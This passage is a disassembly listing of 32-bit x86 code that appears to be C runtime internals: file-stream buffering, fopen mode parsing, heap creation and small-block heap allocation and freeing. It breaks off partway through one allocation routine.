sub_418796	proc near		; CODE XREF: sub_415B76+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D090
		test	eax, eax
		pop	ecx
		jz	short loc_41881F
		cmp	esi, offset dword_438458
		jnz	short loc_4187B4
		xor	eax, eax
		jmp	short loc_4187BF
; ---------------------------------------------------------------------------


loc_4187B4:				; CODE XREF: sub_418796+18j
		cmp	esi, offset dword_438478
		jnz	short loc_41881F
		push	1
		pop	eax


loc_4187BF:				; CODE XREF: sub_418796+1Cj
		inc	ds:dword_469624
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41881F
		cmp	ds:dword_4694BC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4694BCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418805
		push	ebx
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418805
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418812
; ---------------------------------------------------------------------------


loc_418805:				; CODE XREF: sub_418796+4Dj
					; sub_418796+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418812:				; CODE XREF: sub_418796+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41881F:				; CODE XREF: sub_418796+10j
					; sub_418796+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_418796	endp


; =============== S U B	R O U T	I N E =======================================



sub_418823	proc near		; CODE XREF: sub_415B76+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41884D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41885E
		push	esi
		call	sub_4186C4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41884D:				; CODE XREF: sub_418823+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41885E
		push	eax
		call	sub_4186C4
		pop	ecx


loc_41885E:				; CODE XREF: sub_418823+10j
					; sub_418823+32j
		pop	esi
		retn
sub_418823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418860	proc near		; CODE XREF: sub_415BA8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_46962C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_418899
		cmp	al, 72h
		jz	short loc_418892
		cmp	al, 77h
		jnz	loc_4189AD
		mov	ecx, 301h
		jmp	short loc_41889E
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_418860+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188A1
; ---------------------------------------------------------------------------


loc_418899:				; CODE XREF: sub_418860+1Dj
		mov	ecx, 109h


loc_41889E:				; CODE XREF: sub_418860+30j
		or	esi, 2


loc_4188A1:				; CODE XREF: sub_418860+37j
		push	1
		pop	edx


loc_4188A4:				; CODE XREF: sub_418860+8Bj
					; sub_418860+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_418993
		cmp	edx, ebx
		jz	loc_418993
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418932
		jz	short loc_418922
		sub	eax, 2Bh
		jz	short loc_41890C
		sub	eax, 19h
		jz	short loc_418902
		sub	eax, 0Eh
		jz	short loc_4188ED
		dec	eax
		jnz	loc_418984
		cmp	[ebp+var_4], ebx
		jnz	loc_418984
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_4188ED:				; CODE XREF: sub_418860+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_418984
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_418902:				; CODE XREF: sub_418860+6Aj
		test	cl, 40h
		jnz	short loc_418984
		or	ecx, 40h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_41890C:				; CODE XREF: sub_418860+65j
		test	cl, 2
		jnz	short loc_418984
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_418922:				; CODE XREF: sub_418860+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_418984
		or	ecx, eax
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418932:				; CODE XREF: sub_418860+5Ej
		sub	eax, 62h
		jz	short loc_41897F
		dec	eax
		jz	short loc_418968
		sub	eax, 0Bh
		jz	short loc_418951
		sub	eax, 6
		jnz	short loc_418984
		test	ch, 0C0h
		jnz	short loc_418984
		or	ch, 40h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418951:				; CODE XREF: sub_418860+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_418984
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418968:				; CODE XREF: sub_418860+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_418984
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_41897F:				; CODE XREF: sub_418860+D5j
		test	ch, 0C0h
		jz	short loc_41898B


loc_418984:				; CODE XREF: sub_418860+72j
					; sub_418860+7Bj ...
		xor	edx, edx
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_41898B:				; CODE XREF: sub_418860+122j
		or	ch, 80h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418993:				; CODE XREF: sub_418860+4Aj
					; sub_418860+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D53A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189B1


loc_4189AD:				; CODE XREF: sub_418860+25j
		xor	eax, eax
		jmp	short loc_4189CB
; ---------------------------------------------------------------------------


loc_4189B1:				; CODE XREF: sub_418860+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_469624
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4189CB:				; CODE XREF: sub_418860+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189D0	proc near		; CODE XREF: sub_415BA8p
		mov	edx, ds:dword_46A760
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A41
		mov	ebx, ds:dword_469750
		mov	edi, ebx


loc_4189EC:				; CODE XREF: sub_4189D0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A07
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A02
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_4189EC
		jmp	short loc_418A41
; ---------------------------------------------------------------------------


loc_418A02:				; CODE XREF: sub_4189D0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A2B
; ---------------------------------------------------------------------------


loc_418A07:				; CODE XREF: sub_4189D0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DA9
		pop	ecx
		mov	ecx, ds:dword_469750
		mov	[edi+ecx], eax
		mov	eax, ds:dword_469750
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A41
		mov	esi, edi


loc_418A2B:				; CODE XREF: sub_4189D0+35j
		cmp	esi, ebp
		jz	short loc_418A41
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418A41:				; CODE XREF: sub_4189D0+12j
					; sub_4189D0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A48	proc near		; CODE XREF: sub_415DBB+1Fp
					; sub_4174BF+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4694C8
		test	eax, eax
		jz	short loc_418A60
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418A60
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A60:				; CODE XREF: sub_418A48+7j
					; sub_418A48+12j
		xor	eax, eax
		retn
sub_418A48	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A63	proc near		; CODE XREF: seg000:00417B32p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_421174
		test	eax, eax
		mov	ds:dword_46AAC0, eax
		jz	short loc_418A98
		call	sub_418A9F
		test	eax, eax
		jnz	short loc_418A9B
		push	ds:dword_46AAC0
		call	ds:dword_421170


loc_418A98:				; CODE XREF: sub_418A63+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418A9B:				; CODE XREF: sub_418A63+27j
		push	1
		pop	eax
		retn
sub_418A63	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A9F	proc near		; CODE XREF: sub_418A63+20p
		push	140h
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_42114C
		test	eax, eax
		mov	ds:dword_46AABC, eax
		jnz	short loc_418ABC
		retn
; ---------------------------------------------------------------------------


loc_418ABC:				; CODE XREF: sub_418A9F+1Aj
		and	ds:dword_46AAB4, 0
		and	ds:dword_46AAB8, 0
		push	1
		mov	ds:dword_46AAB0, eax
		mov	ds:dword_46AAA8, 10h
		pop	eax
		retn
sub_418A9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ADD	proc near		; CODE XREF: sub_415E1D+Ap
					; sub_4174BF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_46AAB8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_46AABC
		lea	ecx, [eax+ecx*4]


loc_418AED:				; CODE XREF: sub_418ADD+26j
		cmp	eax, ecx
		jnb	short loc_418B05
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B07
		add	eax, 14h
		jmp	short loc_418AED
; ---------------------------------------------------------------------------


loc_418B05:				; CODE XREF: sub_418ADD+12j
		xor	eax, eax

locret_418B07:				; CODE XREF: sub_418ADD+21j
		retn
sub_418ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B08	proc near		; CODE XREF: sub_415E1D+16p
					; sub_4174BF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BCE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B60
		mov	[ebp+arg_4], edi


loc_418B60:				; CODE XREF: sub_418B08+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418B8E
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BB2
; ---------------------------------------------------------------------------


loc_418B8E:				; CODE XREF: sub_418B08+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BB2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_418BB2:				; CODE XREF: sub_418B08+60j
					; sub_418B08+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_418BCE:				; CODE XREF: sub_418B08+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BDC
		push	3Fh
		pop	edi


loc_418BDC:				; CODE XREF: sub_418B08+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418C8B
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C07
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_418C07:				; CODE XREF: sub_418B08+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C19
		mov	edi, edx


loc_418C19:				; CODE XREF: sub_418B08+10Dj
		cmp	ecx, edi
		jz	short loc_418C88
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C4C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C70
; ---------------------------------------------------------------------------


loc_418C4C:				; CODE XREF: sub_418B08+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C70
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_418C70:				; CODE XREF: sub_418B08+11Ej
					; sub_418B08+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_418C88:				; CODE XREF: sub_418B08+113j
		mov	edx, [ebp+var_8]


loc_418C8B:				; CODE XREF: sub_418B08+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418C9A
		cmp	[ebp+arg_4], edi
		jz	loc_418D23


loc_418C9A:				; CODE XREF: sub_418B08+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D23
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418CF7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418CE6
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418CE6:				; CODE XREF: sub_418B08+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D20
; ---------------------------------------------------------------------------


loc_418CF7:				; CODE XREF: sub_418B08+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D0D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418D0D:				; CODE XREF: sub_418B08+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_418D20:				; CODE XREF: sub_418B08+1EDj
		mov	ebx, [ebp+var_C]


loc_418D23:				; CODE XREF: sub_418B08+18Cj
					; sub_418B08+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E2E
		mov	eax, ds:dword_46AAB4
		test	eax, eax
		jz	loc_418E20
		mov	ecx, ds:dword_46AAAC
		mov	edi, ds:dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi
		mov	ecx, ds:dword_46AAAC
		mov	eax, ds:dword_46AAB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_46AAB4
		mov	ecx, ds:dword_46AAAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_46AAB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_46AAB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DAE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_46AAB4


loc_418DAE:				; CODE XREF: sub_418B08+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E20
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi
		mov	eax, ds:dword_46AAB4
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_421150
		mov	eax, ds:dword_46AAB8
		mov	edx, ds:dword_46AABC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_46AAB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416470
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_46AAB8
		cmp	eax, ds:dword_46AAB4
		jbe	short loc_418E12
		sub	eax, 14h


loc_418E12:				; CODE XREF: sub_418B08+305j
		mov	ecx, ds:dword_46AABC
		mov	ds:dword_46AAB0, ecx
		jmp	short loc_418E23
; ---------------------------------------------------------------------------


loc_418E20:				; CODE XREF: sub_418B08+233j
					; sub_418B08+2AAj
		mov	eax, [ebp+arg_0]


loc_418E23:				; CODE XREF: sub_418B08+316j
		mov	ds:dword_46AAB4, eax
		mov	ds:dword_46AAAC, esi


loc_418E2E:				; CODE XREF: sub_418B08+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E33	proc near		; CODE XREF: sub_415DE7+Ep
					; sub_4174BF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_46AAB8
		mov	edx, ds:dword_46AABC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E73
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418E83
; ---------------------------------------------------------------------------


loc_418E73:				; CODE XREF: sub_418E33+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_418E83:				; CODE XREF: sub_418E33+3Ej
		mov	eax, ds:dword_46AAB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EAA


loc_418E91:				; CODE XREF: sub_418E33+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EAA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418E91


loc_418EAA:				; CODE XREF: sub_418E33+5Cj
					; sub_418E33+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F28
		mov	ebx, edx


loc_418EB1:				; CODE XREF: sub_418E33+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECD
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECB
		add	ebx, 14h
		jmp	short loc_418EB1
; ---------------------------------------------------------------------------


loc_418ECB:				; CODE XREF: sub_418E33+91j
		cmp	ebx, eax


loc_418ECD:				; CODE XREF: sub_418E33+83j
		jnz	short loc_418F28


loc_418ECF:				; CODE XREF: sub_418E33+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418EE5
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418EE2
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418ECF
; ---------------------------------------------------------------------------


loc_418EE2:				; CODE XREF: sub_418E33+A5j
		cmp	ebx, [ebp+var_4]


loc_418EE5:				; CODE XREF: sub_418E33+9Fj
		jnz	short loc_418F0D
		mov	ebx, edx


loc_418EE9:				; CODE XREF: sub_418E33+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EFD
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418EFB
		add	ebx, 14h
		jmp	short loc_418EE9
; ---------------------------------------------------------------------------


loc_418EFB:				; CODE XREF: sub_418E33+C1j
		cmp	ebx, eax


loc_418EFD:				; CODE XREF: sub_418E33+BBj
		jnz	short loc_418F0D
		call	sub_41913C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F21


loc_418F0D:				; CODE XREF: sub_418E33:loc_418EE5j
					; sub_418E33:loc_418EFDj
		push	ebx
		call	sub_4191ED
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F28


loc_418F21:				; CODE XREF: sub_418E33+D8j
		xor	eax, eax
		jmp	loc_419137
; ---------------------------------------------------------------------------


loc_418F28:				; CODE XREF: sub_418E33+7Aj
					; sub_418E33:loc_418ECDj ...
		mov	ds:dword_46AAB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F4F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418F86


loc_418F4F:				; CODE XREF: sub_418E33+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418F83


loc_418F6C:				; CODE XREF: sub_418E33+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F6C


loc_418F83:				; CODE XREF: sub_418E33+137j
		mov	edx, [ebp+var_4]


loc_418F86:				; CODE XREF: sub_418E33+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FAF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_418FAF:				; CODE XREF: sub_418E33+16Dj
					; sub_418E33+183j
		test	ecx, ecx
		jl	short loc_418FB8
		shl	ecx, 1
		inc	edi
		jmp	short loc_418FAF
; ---------------------------------------------------------------------------


loc_418FB8:				; CODE XREF: sub_418E33+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FD5
		push	3Fh
		pop	esi


loc_418FD5:				; CODE XREF: sub_418E33+19Dj
		cmp	esi, edi
		jz	loc_4190EA
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419046
		cmp	edi, 20h
		jge	short loc_419015
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419043
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419046
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418E33+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419043
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419046
; ---------------------------------------------------------------------------


loc_419043:				; CODE XREF: sub_418E33+1D6j
					; sub_418E33+203j
		mov	ebx, [ebp+arg_0]


loc_419046:				; CODE XREF: sub_418E33+1B0j
					; sub_418E33+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4190F6
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4190E7
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190B8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190A6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4190A6:				; CODE XREF: sub_418E33+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4190E7
; ---------------------------------------------------------------------------


loc_4190B8:				; CODE XREF: sub_418E33+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190D1
		lea	ecx, [esi-20h]
